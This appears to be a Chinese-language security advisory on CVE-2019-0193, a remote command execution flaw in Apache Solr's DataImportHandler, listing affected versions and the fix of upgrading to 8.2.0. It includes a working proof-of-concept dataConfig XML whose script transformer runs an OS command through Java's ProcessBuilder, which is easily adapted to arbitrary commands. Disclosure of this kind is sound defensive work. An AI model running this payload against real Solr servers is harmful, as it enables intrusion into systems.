Apache Solr遠程命令執行漏洞處置建議
發布時間 2019-08-08? 漏洞編號和級別
CVE編號:CVE-2019-0193,危險級別:嚴重,CVSS分值:官方未評定
? 影響版本
受影響的版本
適用于Solr < 8.2.0且開啟了DataImport功能。
? 漏洞概述
Apache Solr是美國阿帕奇(Apache)軟件基金會的一款基于Lucene(一款全文搜索引擎)的搜索服務器。該產品支持層面搜索、垂直搜索、高亮顯示搜索結果等。
此次漏洞出現在Apache Solr的DataImportHandler,該模塊是一個可選但常用的模塊,用于從數據庫和其他源中提取數據。
該漏洞源于用戶在solrconfig.xml文件中設置了DataImportHandler,開啟了DataImport功能。DataImportHandler模塊允許用戶自己包含腳本,來進行配置。攻擊者可以通過構造惡意的腳本交由轉換器進行解析,在Solr解析的過程中并未對用戶的輸入做檢查,可導致攻擊者遠程在Solr服務器上執行命令。
? 漏洞驗證
POC:
<dataConfig>
<dataSource name="fromMysql"
type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"
user="root"
password="123456"/>
<script ><![CDATA[
function f2c(row) {
var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
return row;
}
]]>
</script>
<document>
<entity name="Users" query="SELECT 1" transformer="script:f2c">
</entity>
</document>
</dataConfig>
訪問url:http://ip:8983/solr/#/core1/dataimport//dataimport,存在這個路徑,就證明用戶的solr,有可選模塊DataImportHandler,存在漏洞利用風險。詳見下圖:
? 修復建議
將Apache Solr升級至8.2.0或更高的版本。
臨時修復建議:
? 參考鏈接
https://issues.apache.org/jira/browse/SOLR-13669